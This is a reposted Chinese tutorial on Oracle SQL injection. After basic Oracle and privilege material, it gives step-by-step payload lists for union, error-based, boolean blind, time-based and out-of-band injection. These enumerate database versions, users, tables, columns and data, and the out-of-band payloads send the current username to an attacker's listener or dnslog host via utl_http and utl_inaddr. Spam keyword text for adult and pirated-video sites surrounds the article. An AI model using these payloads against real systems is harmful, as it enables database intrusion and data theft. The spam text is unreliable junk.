一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

Mysql|Sql Server|Oracle|Redis|MongoDB|PostgreSQL|Sqlite|DB2|mariadb|Access|數據庫技術|

服務器之家 - 數據庫 - Oracle - Oracle SQL注入的實例總結

Oracle SQL注入的實例總結

2021-11-29 19:09FreeKnight Oracle

在網絡中,數據庫驅動的Web應用隨處可見,由此而存在的SQL注入是影響企業運營且最具破壞性的漏洞之一,下面這篇文章主要給大家介紹了關于Oracle SQL注入的相關資料,需要的朋友可以參考下

0x00 oracle基礎

oracle 基本使用

什么是oracle數據庫?

oracle公司目前是世界上最大的軟件提供商之一,與它并列的還有 microsoft與 adode。并且隨著 oracle的發展,它已經成為了企業辦公平臺的最大軟件提供商之一。

oracle數據庫是 oracle (中文名稱叫甲骨文) 公司的核心產品,oracle數據庫是—個適合于大中型企業的數據庫管理系統。在所有的數據庫管理系統中(比如:微軟的sql server,ibm的db2等), oracle的主要用戶涉及面非常廣包括銀行、電信、移動通信、航空、保險、金融、電子商務和跨國公司等。 oracle產品是免費的,可以在 oracle官方網站上下載安裝包,另一方面 oracle服務是收費的。

官網鏈接:https://www.oracle.com/cn/index.html

Oracle SQL注入的實例總結

oracle數據庫的特點

  • 完整的數據管理功能
  • 數據的大量性
  • 數據的保存持久性
  • 數據庫共享性
  • 完備關系的產品
  • 信息準則---關系型dbms的所有信息都在邏輯上用一種方法,即表中的值顯式地表示
  • 保證訪問的準則
  • 視圖更新準則---只要形成視圖的表中的數據變化了,相應的視圖中的數據同時變化
  • 完整的數據管理功能
  • 分布式處理功能
  • 一個 oracle分布式數據庫由 oraclerdbms、sq|net、 sqlconnect和其他非 oracle的關系型產品構成

相比于其他數據庫 oracle的優缺點

優點

  • 開放性:oracle能在所有主流平臺上運行(包括 windows)完全支持所有工業標準采用完全開放策略使客戶選擇適合解決方案對開發商全力支持
  • 并行性:oracle并行服務器通過使組結點共享同簇工作來擴展windownt能力提供高用性和髙伸縮性簇解決方案
  • 安全性:獲得最高認證級別的iso標準認證。
  • 性能:oracle性能高保持開放平臺下tpc-d和tpc-c世界記錄
  • 使用風險:oracle長時間開發經驗完全向下兼容得廣泛應用地風險低

缺點

  • 對硬件的要求較高
  • 價格比較昂貴
  • 管理維護較麻煩
  • 操作較復雜,需要技術含量較高
  • oracle 常用數據類型

Oracle SQL注入的實例總結

登錄oracle數據庫

Oracle SQL注入的實例總結

oracle數據庫基本表管理語句

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
創建表
create table 表名(字段名稱 類型 約束)
create table ichunqiu(name char(10) primary key,age int)
 
增加列
alter table 表名 add(字段名稱, 數據類型)
alter table ichunqiu add(class_name varchar2(200))
 
刪除表中一列
alter table 表名 set unused column 列名
alter table ichunqiu set unused column name
 
修改表字段
alter table 表名 modify(字段名稱 新的字段類型)
alter table ichunqiu modify(name varchar(200))

** oracle數據庫基本數據操作語句**

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
**查詢**
select *|列名|表達式 from 表名 where 條件 order by 列名
select * from ichunqiu order by age desc  (降序)
select * from ichunqiu order by age asc   (升序)
select * from ichunqiu order by age       (默認就是升序)
 
**插入**
insert into 表名 values(所有字段對應值)
insert into 表名 (字段名1,字段名2,字段名3,...)values(字段對應值)
insert into ichunqiu(name,age) values('icq',18)
insert into ichunqiu values('icq',18,'web')
 
**更新**
update 表名 set 字段名稱 = 值 where 更新條件
update ichunqiu set age=25 where name='icq'
 
**刪除**
delete 表名 where 條件
delete ichunqiu where name='ii'

truncate

語法:truncate table 表名

說明:將表中數據一次性刪除

truncate和 delete區別

  1. truncate是ddl命令,刪除數據不能恢復 ; delete是dml命令,刪除數據可以通過數據庫的日志文件進行恢復
  2. 如果一個表中記錄很多, truncate相對 delete速度快

oracle權限控制

oracle權限概述

權限允許用戶訪問屬于其它用戶的對象或執行程序,oracle系統提供三種權限: object對象級、 system系統級、role角色級。這些權限可以授予給用戶、特殊用戶 public或角色,如果授予一個權限給特殊用戶"public" (用戶 public是 oracle預定義的,每個用戶享有這個用戶享有的權限)那么就意味作將該權限授予了該數據庫的所有用戶。

對管理權限而言,角色是一個工具,權限能夠被授予給—個角色,角色也能被授予給另一個角色或用戶。用戶可以通過角色繼承權限,除了管理權限外角色服務沒有其它目的。權限可以被授予,也可以用同樣的方式撤銷

權限分類

oracle數據庫中權限分為兩類

  • 系統權限:系統規定用戶使用數據庫的權限。(系統權限是對用戶而言)
  • 實體權限:某種權限用戶對其它用戶的表或視圖的存取權限。(是針對表或視圖而言的)

系統權限(用戶權限管理)

系統權限分類

dba:擁有全部特權,是系統最高權限,只有dba才可以創建數據庫結構

resource:擁有 resource權限的用戶只可以創建實體,不可以創建數據庫結構

connect:擁有 connect權限的用戶只可以登錄 oracle,不可以創建實體,不可以創建數據庫結構

對于普通用戶:授予 connect, resource權限

對于dba管理用戶:授予 connect, resource,dba權限

系統權限授權命令

系統權限只能由dba用戶授出:sys, system(最開始只能是這兩個用戶)

?
1
2
3
4
sql> grant connect,resource,dba to用戶名1[,用戶名2]...;
 
sql> create user user50 identified by user50;
sql> grant connect,resource to user50;

注:普通用戶通過授權可以具有與 system相同的用戶權限,但不能達到與sys用戶相同的權限, system用戶的權限也可以被回收。

實體權限(表權限管理)

實體權限分類

select, update, insert, alter, index, delete,all //all括所有權限

execute //執行存儲過程權限

舉例:

?
1
2
3
4
5
grant select,insert, update on tablename to usera;            --賦權給用戶: usera
grant select, insert, update on tablename to public:          --賦權給所有用戶
grant select, update on product to usera with grant option;   --usera得到權限,并可以傳遞
revoke select insert, update on tablename from usera;         --收回給予的權限從用戶
usera revoke select, insert, update on tablename from public; --收回給予的權限從所有用戶

注意:如果取消某個用戶的對象權限,那么對于這個用戶使用 with grant option授予權限的用戶來說,同樣還會取消這些用戶的相同權限,也就是說取消授權時級聯的。

0x01 常見注入類型

引入知識

oracle中的 dual 表介紹

此表是 oracle數據庫中的一個自帶表 ,它為了滿足查詢條件 而產生

dual表的特點

  1. dual是 oracle中的偽表(只有一行一列)
  2. 每個用戶都可以使用
  3. 可能dual表被刪掉,sys可以恢復

在 oracle中使用查詢語句必須跟一個表名,如下:

mysql:union select 1, 2, 3

oracle:union select 1, 2, 3 from dual

oracle的注釋符介紹

單行注釋符號是:--

多行注釋符號是://**

oracle的 強匹配 類型

在 oracle進行類似union査詢數據時候必須讓對應位置上的數據類型和表中的列的數據類型是一致的,也可以使用null代替某些無法快速猜測出數據類型的位置

舉例:

mysql::union select 1, 2, 3

oracle:union select null, null, null from dual

union聯合查詢注入

oracle union聯合查詢注入基本流程

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
**1.判斷是否存在注入**
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
 
**2.判斷字段數**
當前表有4個字段
id=1 order by 4--  
 
**3.聯合查詢找回顯位**
oracle 數據庫查詢需要 from dual (虛表/偽表) 專為查詢語句設置的表
union select * from dual--
id=1 union select 1,2,3,4 from dual--
null代替所有類型
id=1 union select null,null,null,null from dual--
id=1 union select 1,'admin',3,4 from dual--
 
**4.查詢數據庫版本、數據庫連接用戶、當前實例名**
id=1 union select 1,(select banner from sys.v_$version where rownum=1),3,4 from dual--
id=1 union select 1,(select sys_context('userenv','current_user') from dual),3,4 from dual-- #test
id=-1 union select 1,(select instance_name from v$instance),3,4 from dual--
 
**5.遍歷數據庫名**
id=-1 union select 1,(select owner from all_tables where rownum=1),3,4 from dual--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in ('sys')),3,4 from dual--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in('sys','outln','system')),3,4 from dual--
 
**6.遍歷表名**
id=-1 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('admin1','demo','flag','ichunqiu','stu')),3,4 from dual--
 
**7.遍歷flag表字段名**
id=-1 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='flag' and column_name not in ('id','name','pwd','flag')),3,4 from dual--
 
**8.查詢表字段數據**
id=-1 union select 1,(select name||age from demo where rownum=1),3,4 from dual--
id=-1 union select 1,(select "name"||"age" from demo where rownum=1),3,4 from dual--
id=-1 union select 1,(select 'username:'||name||'age:'||age from demo where rownum=1),3,4 from dual--

error 注入

常用顯錯函數

dbms_xdb_version.checkin() 函數

屬于 dbms_xdb_version下的 checkin功能。此功能檢入簽岀的vcr并返回新創建的版本的資源id。

payload:

?
1
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

dbms_xdb_version.uncheckout() 函數

用法和checkin一致

payload:

?
1
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

**utl_inaddr.get_host_name() ** 函數

說明:這種方法在 oracle 8g,9g,10g中不需要任何權限,但是在** oracle 11g及以后的版本中** ,官方加強了訪問控制權限,所以在11g以后要使用此方法進行報錯注入,當前數據庫用戶必須有網絡訪問權限

報錯方法:獲取ip地址,其參數如果解析不了會報錯,顯示傳遞的參數。如果其參數是一個sql語句,那么報錯就會把結果給顯示出來。

payload:

?
1
and utl_inaddr.get_host_name((select user from dual))=1--

其他常用顯錯函數

 

函數名 payload
dbms_xdb_version.makeversioned() and (select dbms_xdb_version.makeversioned ((select user from dual)) from dual) is not null--
dbms_utility.sqlid_to_sqlhash() and (select dbms_utility.sqlid_to_sqlhash ((select user from dual)) from dual) is not null--
ordsys.ord_dicom.getmappingxpath() and select ordsys.ord_dicom.getmappingxpath ((select user from dual),user,user) =1--
ctxsys.drithsx.sn() and (select ctxsys.drithsx.sn ((select user from dual)) from dual) =1--

 

oracle error 注入基本流程

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
**1.判斷是否存在注入**
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
 
2.**查詢數據庫版本、數據庫連接用戶、當前實例名**
id=1 and dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select sys_context('userenv','current_user') from dual)) is not null--
id=1 and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null--
 
2.**遍歷獲取數據庫名**
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1 and owner not in ('sys'))) is not null--
 
3.**遍歷獲取表名**
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1 and table_name not in ('admin1','demo'))) is not null--
 
**4.遍歷獲取字段名**
id=1 and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1 and table_name='flag' and column_name not in ('id','name','pwd','flag'))) is not null--
 
5.**查詢表字段數據**
id=1 and dbms_xdb_version.checkin((select name||age from demo where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select "name"||"age" from demo where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select 'username:'||name||'age:'||age from demo where rownum=1)) is not null--

bool盲注

bool盲注相關函數

decode() ** 函數**

用法 :decode(條件,值1,翻譯值1,值2,翻譯值2… 值n, 翻譯值n,缺省值)

含義 :if(條件 == 值1) -> 返回翻譯值1,否則返回默認值

舉例 :查詢 oracle版本,判斷版本的字符串第一個字符是否是o

payload :

?
1
and1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1), 'o', 1, 0) from dual--

說明 :其中 select語句可以替換,如:

獲取當前用戶: selectuser from dual;

獲取字符長度: select length(user) from dual;

instr() ** 函數**

用法 :instr( string1, string2 ) / instr(源字符串,目標字符)

含義 :搜索指定的字符返回發現指定的字符的位置, string1是被搜索的字符串, string2是希望搜索的字符串

注入思路 : instr會返回'sql'位置數據在査詢結果中的位置,未找到便返回0,可通過對‘sql′位置進行遍歷和迭代,獲取到數據

舉例 :查詢當前的用戶,判斷用戶名第一個字符是否是t

payload :

?
1
and1=(instr((select user from dual),'t'))--

oracle bool盲注基本流程

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
**1.判斷注入**
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
 
2.**查詢數據庫版本/用戶**
decode decode(substr(('abc'),1,1),'a',1,0)
length 返回字符串長度
ascii  返回字符的ascii碼
instr  搜索指定結果內是否包含關鍵字 存在返回1 否則返回0
id=1 and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'o',1,0) from dual)--
id=1 and (select length(user) from dual)=4--
id=1 and (select ascii('a') from dual)=97--
id=1 and (select ascii(substr((select user from dual),1,1)) from dual)=84-- #ascii碼判斷字符 t
id=1 and (select ascii(substr((select user from dual),2,1)) from dual)=69-- #ascii碼判斷字符 e
 
id=1 and 1=(instr((select user from dual),'t'))--
id=1 and 1=(instr((select user from dual),'te'))--
id=1 and 1=(instr((select user from dual),'tes'))--
id=1 and 1=(instr((select user from dual),'test'))--
 
**3.獲取庫名**
id=1 and (select length(owner) from all_tables where rownum=1)=3-- #第一個庫名長度為3
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),1,1)) from dual)=83--
#ascii為83 s
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89--
#ascii為89 y
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),3,1)) from dual)=83--
#ascii為83 s
 
**4.獲取表名**
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),1,1)) from dual)=105-- 第一個表名的第一個字符是i
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),2,1)) from dual)=99-- 第一個表名的第二個字符是c
 
**5.獲取字段名**
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),1,1)) from dual)=117-- icq表內的第一個字段的第一個字符u
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),2,1)) from dual)=115-- icq表內的第一個字段的第二個字符s

time 盲注

time盲注相關函數

dbms_pipe.receive_message() ** 函數**

用法 :dbms_pipe.receive_message(' 任意值 ', 延遲時間 )

舉例 :dbms_pipe.receive_message('icq',5) 表示從icq管道返回的數據需要等待5秒

payload :

?
1
and dbms_pipe.receive_message('icq',5)=1

常用payload

?
1
2
3
4
5
id=1 and dbms_pipe.receive_message((), 5)=1
id=1 and (select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'o', dbms_pipe.receive_message('icq', 5),0) from dual)=1--
截取數據庫版本第一個字符為o就延時5s
id=1 and (select decode(length(user),4,dbms_pipe.receive_message('icq', 5),0) from dual)=1--
用戶名長度為4 就延時5s

帶外注入

oracle帶外注入

oracle的帶外注入和 dnslog很相似,需要使用網絡請求的函數 進行注入利用,其中可以進行網絡請求的函數如下等

帶外注入相關函數

utl_http.request() ** 函數**

函數說明 :在oracle中提供了utlhttprequest函數,用于取得web服務器的請求信息,因此,攻擊者可以自己監聽端口,然后通過這個函數用請求將需要的數據發送反彈回頭

utl_http包介紹 :提供了對http的一些操作。

舉例 :執行這條sql語句,將返回 baidu. com的html源碼

?
1
select utl_http.request('http://www.baidu.com') from dual

utl_inaddr.get_host_address() 函數

常用payload :

?
1
and (selectutl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

sys.dbms_ldap.init()

常用payload :

?
1
and (select sys.dbms_ldap.init((select userfrom dual)||'.aaaa.com(自己搭建dnslog)') from dual)is notnull --

帶外注入過程

判斷 utl_http存儲過程是否可用在注入點提交如下查詢:

?
1
select count(*) from allobjects where object name='utl_http'

通過頁面回顯判斷utl_http是否可用,如果頁面返回正常,則說明utl_http存儲過程可用使用nc監聽數據

在本地用nc監聽一個端口,要求本地主機擁有一個外網的ip地址

nc-lvvp監聽端口

反彈數據信息在注入點提交:

?
1
2
# 發送請求,獲得當前用戶名
id=1 and utl_http.request('http://ip:監聽端口/'||(select user from dual))=1--

即可實現注入攻擊

注意:每次在注入點提交一次請求,nc監聽完后就會斷開,需要重新啟動nc監聽

常用payload

?
1
2
3
4
5
6
7
# 判斷utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='utl_http')--
id=1 and (select count(*) from all_objects where object_name='utl_http')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='utl_http') from dual--
 
# 發送請求,獲得當前用戶名
id=1 and utl_http.request('http://ip:監聽端口/'||(select user from dual))=1--

總結

到此這篇關于oracle sql注入的文章就介紹到這了,更多相關oracle sql注入內容請搜索服務器之家以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持服務器之家!

原文鏈接:https://www.cnblogs.com/wuhongbin/p/15527226.html

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 天堂中文在线观看 | 亚洲电影成人 成人影院 | 日本艳鉧动漫1~6完整版在 | 青青草国产免费久久久91 | 久久久精品日本一区二区三区 | 97色轮| 国产精品xxxav免费视频 | 四虎影视国产精品婷婷 | 日韩大片在线播放 | 成人在线免费观看 | 高清一区高清二区视频 | 国产高清自拍视频 | 香蕉久久久久 | 国产盗摄女厕美女嘘嘘 | 欧美特黄三级在线观看 | 无遮免费网站在线入口 | 天天摸天天操天天爽 | 日本黄色高清视频网站 | 国产欧美国产综合第一区 | 白丝爆动漫羞羞动漫网站 | 国产乱人乱精一区二区视频密 | 久久99精品国产自在自线 | 青草网在线观看 | 色综合久久中文字幕网 | 9 1 视频在线 | 无人视频在线观看完整版高清 | 成人永久免费福利视频网站 | 国内小情侣一二三区在线视频 | 日韩一区二区三区四区区区 | 亚洲国产天堂综合一区 | 精品AV亚洲乱码一区二区 | 国产精品久久久久久久午夜片 | 能免费观看的韩剧 | 亚洲第一色网 | 午夜久久久久久网站 | 狠狠涩 | 77久久| 猛男强攻变sao货 | 1313午夜精品久久午夜片 | 美女下面揉出水免费视频 | 色婷婷精品 |